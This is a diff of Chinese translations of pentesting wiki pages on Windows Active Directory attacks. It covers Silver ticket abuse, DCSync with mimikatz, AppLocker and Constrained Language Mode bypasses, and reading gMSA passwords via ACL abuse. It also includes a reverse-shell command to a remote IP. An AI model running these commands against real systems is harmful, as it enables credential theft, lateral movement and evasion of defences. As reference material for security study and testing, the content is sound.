| -| 计划任务 | HOST | -| Windows 文件共享,也 psexec | CIFS | -| LDAP 操作(包括 DCSync) | LDAP | -| Windows 远程服务器管理工具 |

RPCSS

LDAP

CIFS

| +| PowerShell Remoting |

HOST

HTTP

视操作系统而定,还可能有:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

在某些情况下,你可以只请求:WINRM

| +| Scheduled Tasks | HOST | +| Windows File Share, also psexec | CIFS | +| LDAP operations, included DCSync | LDAP | +| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | -使用 **Rubeus** 可以通过以下参数**请求所有**这些票据: +使用 **Rubeus**,你可以使用以下参数 **请求所有** 这些票据: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ### Silver tickets 事件 ID -- 4624: 账户登录 -- 4634: 账户注销 +- 4624: 帐户登录 +- 4634: 帐户注销 - 4672: 管理员登录 -## 持久性 +## 持久化 -为避免机器每30天轮换密码,可设置 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`,或者可以将 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` 设置为大于 30days 的值,以指示机器密码应在何时轮换。 +为了避免计算机每 30 天轮换密码,将 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` 设置为 1,或者将 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` 设置为大于 30 天的值,以延长机器密码的轮换周期。 -## 滥用服务票据 +## 滥用 Service tickets -在以下示例中,假设票据是通过模拟管理员账户获取的。 +在下面的示例中,假设该 ticket 是以管理员帐户冒充获取的。 ### CIFS -使用该票据,你可以通过 **SMB**(如果暴露)访问 `C$` 和 `ADMIN$` 文件夹,并将文件复制到远程文件系统的某个位置,例如执行如下操作: +使用该 ticket,您可以通过 **SMB** 访问 `C$` 和 `ADMIN$` 文件夹(如果暴露),并将文件复制到远程文件系统的某个位置,例如执行如下操作: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -你还可以使用 **psexec** 在主机内获得 shell 或执行任意命令: +你还可以在主机内获取 shell,或使用 **psexec** 执行任意命令: + {{#ref}} ../lateral-movement/psexec-and-winexec.md {{#endref}} -### HOST +### 主机 拥有此权限后,你可以在远程计算机上创建计划任务并执行任意命令: ```bash @@ -132,7 +134,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -利用这些 tickets,你可以 **在受害系统中执行 WMI**: +使用这些票据你可以**在目标系统上执行 WMI**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -142,27 +144,27 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -在以下页面查找**更多关于 wmiexec 的信息**: +在以下页面找到有关 **wmiexec** 的更多信息: + {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} -### 主机 + WSMAN (WINRM) +### HOST + WSMAN (WINRM) -通过对计算机的 winrm 访问,你可以**访问它**,甚至获得一个 PowerShell: +通过对一台计算机的 winrm 访问,你可以 **访问它**,甚至获得一个 PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Check the following page to learn **more ways to connect with a remote host using winrm**: - +查看以下页面以了解 **使用 winrm 连接远程主机的更多方法**: {{#ref}} ../lateral-movement/winrm.md {{#endref}} > [!WARNING] -> 注意 **winrm 必须在远程计算机上启用并处于监听状态** 才能访问它。 +> 请注意 **winrm 必须处于活动并监听状态** 才能访问远程计算机。 ### LDAP @@ -170,7 +172,7 @@ Check the following page to learn **more ways to connect with a remote host usin ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**了解更多关于 DCSync 的信息**,请参阅以下页面: +**了解有关 DCSync 的更多信息** 在以下页面: {{#ref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 9a6c699ec..2df6d629c 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,14 +4,14 @@ ## AppLocker 策略 -应用程序白名单是一份已批准的软件应用或可执行文件清单,允许在系统上存在并运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。 +应用程序白名单是被允许存在并运行于系统上的经批准的软件或可执行文件的列表。其目标是保护环境免受有害的恶意软件和不符合组织特定业务需求的未批准软件的影响。 -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是 Microsoft's **应用程序白名单解决方案**,并赋予系统管理员对 **用户可以运行哪些应用和文件** 的控制权。它提供对可执行文件、脚本、Windows 安装程序文件、DLLs、打包应用程序和打包应用安装程序的**细粒度控制**。\ -组织通常会**阻止 cmd.exe 和 PowerShell.exe**,并限制对某些目录的写入权限,**但这些都可以被绕过**。 +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是 Microsoft 的 **应用白名单解决方案**,并赋予系统管理员对 **用户可以运行哪些应用和文件** 的控制。它对可执行文件、脚本、Windows 安装程序文件、DLL、打包应用以及打包应用安装程序提供 **细粒度控制**。\ +组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写访问,**但这些都可以被绕过**。 ### 检查 -检查哪些文件/扩展被列入黑名单/白名单: +检查哪些文件/扩展名被列入黑名单/白名单: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -该注册表路径包含 AppLocker 应用的配置和策略,提供了一种查看系统当前强制实施的规则集的方法: +此注册表路径包含 AppLocker 应用的配置和策略,可用于查看系统上当前强制执行的规则集: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` -### Bypass +### 绕过 -- 有用的 **可写文件夹** 用于绕过 AppLocker 策略:如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 中执行任何内容,则存在一些 **可写文件夹** 可用于 **绕过此限制**。 +- 有用的 **可写文件夹** 用于绕过 AppLocker 策略:如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容,则存在一些 **可写文件夹** 可用于 **绕过此限制**。 ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- 常见的 **被信任** 的 [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可用于绕过 AppLocker。 +- 常被 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可用于绕过 AppLocker。 - **写得不严谨的规则也可能被绕过** -- 例如,**``**,你可以在任何地方创建一个名为 `allowed` 的**文件夹**,它将被允许。 -- 组织通常会专注于**阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但会忽略 [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) 等 **其他** 可执行位置,例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。 -- **几乎很少启用 DLL 强制执行**,因为它会给系统增加额外负载,并且需要大量测试以确保不会出现问题。因此使用 **DLLs 作为后门将有助于绕过 AppLocker**。 -- 你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中**执行 Powershell** 代码并绕过 AppLocker。更多信息请参见: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- 例如,**``**,你可以在任意位置创建一个名为 **`allowed`** 的文件夹,它将被允许。 +- 组织通常也会重点阻止 **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** 可执行文件,但会忘记其他 [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations),例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。 +- 由于会增加系统负载且需要大量测试以确保不会出现故障,**很少启用 DLL enforcement**。因此使用 **DLLs 作为后门将有助于绕过 AppLocker**。 +- 你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **execute Powershell** 代码以绕过 AppLocker。更多信息请参见: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## 凭证存储 +## Credentials Storage ### Security Accounts Manager (SAM) -本地凭证存在此文件中,密码为哈希值。 +本地凭证保存在此文件中,密码为哈希值。 -### 本地安全权限 (LSA) - LSASS +### Local Security Authority (LSA) - LSASS -这些**凭证**(哈希)被**保存**在该子系统的**内存**中,用于单点登录原因。\ -**LSA** 管理本地的**安全策略**(密码策略、用户权限……)、**认证**、**访问令牌**...\ -LSA 会**检查** SAM 文件中提供的凭证(用于本地登录),并与**域控制器**通信以验证域用户。 +出于单点登录原因,**credentials**(哈希)被**保存**在该子系统的**内存**中。\ +**LSA** 管理本地 **security policy**(密码策略、用户权限...)、**authentication**、**access tokens**...\ +LSA 会**检查** SAM 文件中提供的凭证(用于本地登录),并与 **domain controller** 进行**通信**以验证域用户。 -这些**凭证**被**保存在**进程 LSASS 中:Kerberos 票证、NT 和 LM 哈希、易被解密的密码。 +这些 **credentials** 被**保存**在 **process LSASS** 中:Kerberos 票证、NT 和 LM 哈希、可被轻易解密的密码。 ### LSA secrets -LSA 可能会将某些凭据保存到磁盘: +LSA 可能在磁盘中保存一些凭证: -- Active Directory 计算机帐户的密码(当域控制器不可达时)。 -- Windows 服务帐户的密码 +- Active Directory 计算机账户的密码(当域控制器不可达时)。 +- Windows 服务账户的密码 - 计划任务的密码 -- 更多(IIS 应用的密码...) +- 其他(IIS 应用的密码...) ### NTDS.dit -它是 Active Directory 的数据库。仅存在于域控制器上。 +它是 Active Directory 的数据库,仅存在于域控制器上。 ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是在 Windows 10、Windows 11 以及 Windows Server 版本中可用的防病毒软件。它**阻止**常见的 pentesting 工具,例如 **`WinPEAS`**。然而,存在绕过这些防护的方法。 +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10、Windows 11 以及某些 Windows Server 版本中可用的杀毒软件。它会**阻止**常见的 pentesting 工具,例如 **`WinPEAS`**。不过,存在绕过这些保护的方法。 -### 检查 +### Check -要检查 **Defender** 的**状态**,你可以执行 PS cmdlet **`Get-MpComputerStatus`**(检查 **`RealTimeProtectionEnabled`** 的值以确认其是否激活): +要检查 **Defender** 的 **status**,你可以执行 PowerShell cmdlet **`Get-MpComputerStatus`**(查看 **`RealTimeProtectionEnabled`** 的值以确定是否启用):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-要枚举它,你也可以运行: +要枚举它,你还可以运行: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,101 +103,102 @@ sc query windefend ``` ## 加密文件系统 (EFS) -EFS 通过加密来保护文件,使用称为 **File Encryption Key (FEK)** 的 **对称密钥**。该密钥用用户的 **公钥** 加密并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,会使用用户数字证书对应的 **私钥** 从 $EFS 流中解密 FEK。更多细节见 [here](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS 通过加密来保护文件,使用一个称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,会使用用户数字证书对应的 **私钥** 来从 $EFS 流中解密 FEK。更多细节可见 [here](https://en.wikipedia.org/wiki/Encrypting_File_System)。 -**无需用户主动操作的解密情形** 包括: +**未由用户发起的解密场景** 包括: -- 当文件或文件夹移动到非 EFS 的文件系统(例如 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table))时,会被自动解密。 -- 通过 SMB/CIFS 协议通过网络传输加密文件时,会在传输前被解密。 +- 当文件或文件夹被移动到非 EFS 的文件系统(如 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table))时,会自动解密。 +- 通过 SMB/CIFS 协议通过网络发送的加密文件在传输前会被解密。 -该加密方式允许文件所有者对加密文件进行 **透明访问**。但仅仅更改所有者密码并登录并不会允许解密。 +该加密方法允许所有者**透明访问**加密文件。然而,仅更改所有者的密码并登录并不会允许解密。 **要点**: -- EFS 使用对称 FEK,并用用户的公钥加密该 FEK。 -- 解密时使用用户的私钥以访问 FEK。 -- 在特定情况下(如复制到 FAT32 或网络传输)会发生自动解密。 -- 所有者可以无需额外步骤访问加密文件。 +- EFS 使用对称 FEK,并用用户的公钥加密。 +- 解密使用用户的私钥来访问 FEK。 +- 在特定条件下(如复制到 FAT32 或网络传输)会发生自动解密。 +- 所有者可以在不做额外操作的情况下访问加密文件。 -### Check EFS info +### 检查 EFS 信息 -检查某个 **用户** 是否 **使用过** 该 **服务**,可检查此路径是否存在:`C:\users\\appdata\roaming\Microsoft\Protect` +检查某个 **用户** 是否 **使用过** 此 **服务**,可检查此路径是否存在:`C:\users\\appdata\roaming\Microsoft\Protect` -使用 cipher /c \ 检查 **谁** 有权访问该文件。你也可以在文件夹内使用 `cipher /e` 和 `cipher /d` 来 **加密** 或 **解密** 所有文件。 +使用 cipher /c \ 检查 **谁** 拥有对该文件的 **访问**。 +你也可以在文件夹内使用 `cipher /e` 和 `cipher /d` 来 **加密** 和 **解密** 所有文件 -### Decrypting EFS files +### 解密 EFS 文件 -#### 使用 SYSTEM 权限 +#### 以 Authority System 身份 -此方法要求 **受害用户** 在主机上 **运行** 某个 **进程**。如果满足此条件,使用 `meterpreter` 会话可以模拟该用户进程的令牌(`impersonate_token` 来自 `incognito`)。或者你也可以 `migrate` 到该用户的进程。 +此方法要求 **受害用户** 在主机上**运行** 某个 **进程**。如果满足该条件,使用 `meterpreter` 会话可以模拟该用户进程的令牌(来自 `incognito` 的 `impersonate_token`)。或者你也可以直接 `migrate` 到该用户的进程。 -#### 已知用户密码 +#### 知道用户密码 {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## 组托管服务帐户 (gMSA) +## Group Managed Service Accounts (gMSA) -Microsoft 开发了 **Group Managed Service Accounts (gMSA)**,以简化 IT 基础设施中服务帐户的管理。与常常启用 “Password never expire” 设置的传统服务帐户不同,gMSA 提供了更安全且更易管理的解决方案: +Microsoft 开发了 **Group Managed Service Accounts (gMSA)** 来简化 IT 基础架构中服务账户的管理。与通常启用“**Password never expire**”设置的传统服务账户不同,gMSA 提供了更安全且易于管理的解决方案: -- **自动密码管理**:gMSA 使用复杂的 240 字符密码,并根据域或计算机策略自动更换。此过程由 Microsoft 的 Key Distribution Service (KDC) 处理,消除了手动更新密码的需求。 -- **增强的安全性**:这些帐户不会被锁定,并且不能用于交互式登录,提高了安全性。 -- **多主机支持**:gMSA 可以在多台主机之间共享,适用于在多台服务器上运行的服务。 -- **计划任务支持**:与 managed service accounts 不同,gMSA 支持运行计划任务。 -- **简化的 SPN 管理**:当计算机的 sAMAccount 信息或 DNS 名称发生变化时,系统会自动更新 Service Principal Name (SPN),简化了 SPN 管理。 +- **自动密码管理**:gMSA 使用复杂的 240 字符密码,并根据域或计算机策略自动更换。此过程由 Microsoft 的 Key Distribution Service (KDC) 处理,免去了手动更新密码的需要。 +- **增强的安全性**:这些账户不会被锁定且不能用于交互式登录,从而提高了安全性。 +- **多主机支持**:gMSA 可以在多个主机之间共享,适用于在多台服务器上运行的服务。 +- **支持计划任务**:与 managed service accounts 不同,gMSA 支持运行计划任务。 +- **简化的 SPN 管理**:当计算机的 sAMAccountDetails 或 DNS 名称发生更改时,系统会自动更新 Service Principal Name (SPN),从而简化了 SPN 管理。 -gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DCs) 每 30 天自动重置。该密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块,只能被授权的管理员以及安装了 gMSA 的服务器检索,以确保持久的安全环境。要访问此信息,需要使用诸如 LDAPS 的安全连接,或连接必须经过 ‘Sealing & Secure’ 认证。 +gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DCs) 每 30 天自动重置一次。该密码是一个名为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据 blob,仅授权管理员和安装了 gMSA 的服务器可以检索,确保环境安全。要访问此信息,需要使用 LDAPS 等安全连接,或连接必须通过 'Sealing & Secure' 进行认证。 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +您可以通过 [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. +此外,请查看这个 [web page](https://cube0x0.github.io/Relaying-for-gMSA/),了解如何执行 **NTLM relay attack** 来 **读取** **gMSA** 的 **密码**。 -### 滥用 ACL chaining 来 read gMSA managed password (GenericAll -> ReadGMSAPassword) +### 滥用 ACL 链式继承以读取 gMSA 管理密码 (GenericAll -> ReadGMSAPassword) -在许多环境中,低权限用户可以通过滥用配置不当的对象 ACL,在不破坏 DC 的情况下访问 gMSA 秘密: +在许多环境中,低权限用户可以通过滥用错误配置的对象 ACLs,无需危及 DC 即可获取对 gMSA 秘密的访问: - 你可控制的一个组(例如通过 GenericAll/GenericWrite)被授予对 gMSA 的 `ReadGMSAPassword` 权限。 -- 通过将自己添加到该组,你将继承通过 LDAP 读取 gMSA 的 `msDS-ManagedPassword` blob 的权限,并派生出可用的 NTLM 凭证。 +- 将自己加入该组后,你将继承通过 LDAP 读取 gMSA 的 `msDS-ManagedPassword` blob 的权限,并可从中推导出可用的 NTLM 凭证。 典型工作流程: -1) 使用 BloodHound 发现路径,并将你的 foothold principals 标注为 Owned。查找如下边: +1) 使用 BloodHound 发现路径并将你的 foothold principals 标记为 Owned。查找类似的边: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA -2) 将自己添加到你控制的中间组(以 bloodyAD 为例): +2) 将自己添加到你控制的中间组(使用 bloodyAD 的示例): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) 通过 LDAP 读取 gMSA 的托管密码并推导 NTLM 哈希。NetExec 自动化提取 `msDS-ManagedPassword` 并转换为 NTLM: +3) 通过 LDAP 读取 gMSA 管理的密码并推导出 NTLM 哈希。NetExec 自动化提取 `msDS-ManagedPassword` 并转换为 NTLM: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -4) 以 gMSA 身份使用 NTLM hash 进行身份验证(不需要 plaintext)。如果该账户位于 Remote Management Users,WinRM 将直接可用: +4) 使用 NTLM hash 以 gMSA 身份进行验证(不需要明文)。如果该帐户位于 Remote Management Users,则 WinRM 会直接工作: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` 注意: -- LDAP 对 `msDS-ManagedPassword` 的读取需要 sealing(例如 LDAPS/sign+seal)。工具会自动处理此项。 -- gMSAs 常常被授予如 WinRM 之类的本地权限;验证组成员身份(例如 Remote Management Users)以规划 lateral movement。 -- 如果你只需要该 blob 来自行计算 NTLM,请参见 MSDS-MANAGEDPASSWORD_BLOB structure。 +- 读取 LDAP 中的 `msDS-ManagedPassword` 需要 sealing(例如 LDAPS/sign+seal)。工具会自动处理此事。 +- gMSAs 经常被授予诸如 WinRM 的本地权限;验证组成员(例如 Remote Management Users)以规划 lateral movement。 +- 如果你只需要该 blob 来自行计算 NTLM,请参见 MSDS-MANAGEDPASSWORD_BLOB 结构。 ## LAPS -**本地管理员密码解决方案 (LAPS)**,可从 [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) 下载,用于管理本地管理员密码。这些密码是**随机生成的**、唯一的,并且**定期更改**,集中存储在 Active Directory 中。对这些密码的访问通过 ACLs 限制为授权用户。若授予足够的权限,则可以读取本地管理员密码。 +The **Local Administrator Password Solution (LAPS)**,可从 [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) 下载,用于管理本地管理员密码。这些密码是 **随机化**、唯一且 **定期更换** 的,集中存储在 Active Directory 中。对这些密码的访问通过 ACLs 限制为授权用户。若授予足够权限,则可以读取本地管理员密码。 {{#ref}} @@ -206,7 +207,7 @@ netexec winrm -u 'mgtsvc$' -H ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **会锁定许多用于有效使用 PowerShell 的功能**,例如阻止 COM 对象、仅允许经批准的 .NET 类型、基于 XAML 的工作流、PowerShell 类等。 +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **会锁定许多有效使用 PowerShell 所需的功能**,例如阻止 COM objects,仅允许经批准的 .NET types,XAML-based workflows,PowerShell classes 等等。 ### **检查** ```bash @@ -218,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -在当前的 Windows 中那个 Bypass 无法工作,但你可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**要编译它你可能需要** **去** _**添加引用**_ -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并 **将项目更改为 .Net4.5**。 +在当前的 Windows 上该 Bypass 无效,但你可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**要编译它你可能需要** **去** _**添加引用**_ -> _浏览_ ->_浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并 **将项目更改为 .Net4.5**。 -#### 直接绕过: +#### 直接 bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` @@ -229,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任意进程中 **执行 Powershell** 代码 并 bypass the constrained mode。更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **execute Powershell** 代码并 bypass the constrained mode。更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## PS Execution Policy +## PS 执行策略 -默认情况下它被设置为 **restricted.** 绕过(bypass) 此策略的主要方法: +默认情况下设置为 **restricted.** 绕过此策略的主要方法: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -253,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -更多内容请见 [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Security Support Provider Interface (SSPI) +## 安全支持提供者接口 (SSPI) 是用于对用户进行身份验证的 API。 -SSPI 负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后 SSPI 将协商将使用哪个身份验证协议,这些身份验证协议称为 Security Support Provider (SSP),以 DLL 的形式位于每台 Windows 机器内部,且双方必须都支持相同的 SSP 才能通信。 +SSPI 负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后 SSPI 将协商使用哪个身份验证协议,这些身份验证协议称为 Security Support Provider (SSP),以 DLL 的形式位于每台 Windows 机器中,且双方必须支持相同的 SSP 才能通信。 ### 主要 SSPs -- **Kerberos**: The preferred one +- **Kerberos**:首选的 - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** and **NTLMv2**: Compatibility reasons +- **NTLMv1** and **NTLMv2**:出于兼容性原因 - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Web servers and LDAP, password in form of a MD5 hash +- **Digest**:用于 Web 服务器和 LDAP,密码以 MD5 哈希的形式 - %windir%\Windows\System32\Wdigest.dll -- **Schannel**: SSL and TLS +- **Schannel**:用于 SSL 和 TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one) +- **Negotiate**:用于协商要使用的协议(Kerberos 或 NTLM,默认是 Kerberos) - %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### 协商可能会提供多种方法,也可能只有一种。 -## UAC - 用户帐户控制 +## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,可在执行提升权限的活动时启用 **同意提示**。 +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,可为需要提升权限的操作启用 **同意提示**。 {{#ref}} diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 658d49d6a..b20a5db07 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,4 +1,4 @@ -# 检查表 - Local Windows Privilege Escalation +# Checklist - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} @@ -8,9 +8,9 @@ - [ ] 获取 [**System information**](windows-local-privilege-escalation/index.html#system-info) - [ ] 搜索 **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] 使用 **Google to search** 查找 kernel **exploits** -- [ ] 使用 **searchsploit to search** 查找 kernel **exploits** -- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) 中有有趣的信息吗? +- [ ] 使用 Google 搜索 kernel **exploits** +- [ ] 使用 searchsploit 搜索 kernel **exploits** +- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) 中有有趣信息吗? - [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) 中有密码吗? - [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) 中有有趣信息吗? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? @@ -22,52 +22,52 @@ - [ ] 检查 [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) 和 [**WEF** ](windows-local-privilege-escalation/index.html#wef) 设置 - [ ] 检查 [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] 检查 [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 是否激活 +- [ ] 检查 [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) 是否启用 - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? -- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) +- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)? - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? - [ ] 检查是否有任何 